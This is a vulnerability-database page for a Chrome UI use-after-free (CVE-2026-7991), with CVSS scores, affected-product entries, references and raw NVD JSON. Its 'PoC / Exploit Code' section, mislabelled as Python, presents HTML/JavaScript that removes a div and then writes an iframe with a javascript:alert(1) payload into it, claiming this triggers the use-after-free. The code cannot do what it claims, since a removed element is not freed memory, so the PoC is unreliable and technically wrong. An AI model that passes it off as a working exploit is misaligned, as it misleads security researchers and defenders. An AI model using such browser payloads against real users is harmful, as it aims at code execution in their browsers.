CVE-2026-7991

Description

Use after free in UI in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC Concept for CVE-2026-7991
This HTML page attempts to trigger the UI Use-After-Free vulnerability.
-->
<html>
<head>
<title>CVE-2026-7991 PoC</title>
</head>
<body>
<script>
    // Step 1: Create a vulnerable UI element
    let vulnElement = document.createElement('div');
    document.body.appendChild(vulnElement);

    // Step 2: Setup a condition that might lead to UAF
    function attemptExploit() {
        // Simulate rendering process compromise context
        console.log("Attempting to trigger UAF in UI component...");
        
        // Force a layout or specific UI state
        vulnElement.style.display = 'none';
        
        // Remove element (free memory)
        vulnElement.remove();
        
        // Step 3: Attempt to access the freed object (UAF trigger)
        // In a real exploit, this would be carefully timed to reallocate memory
        if (vulnElement) {
            // Accessing property after removal triggers the vulnerability
            vulnElement.innerHTML = "<iframe src='javascript:alert(1)'></iframe>";
        }
    }

    // Trigger the attempt with a delay to simulate user interaction/async load
    setTimeout(attemptExploit, 1000);
</script>
<p>CVE-2026-7991 Proof of Concept: Chrome UI Use-After-Free</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7991
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7991
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7991/
[4] VulDB https://vuldb.com/cve/CVE-2026-7991
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/499065126

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7991", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:49.977", "lastModified": "2026-05-06T23:19:55.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in UI in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/499065126", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}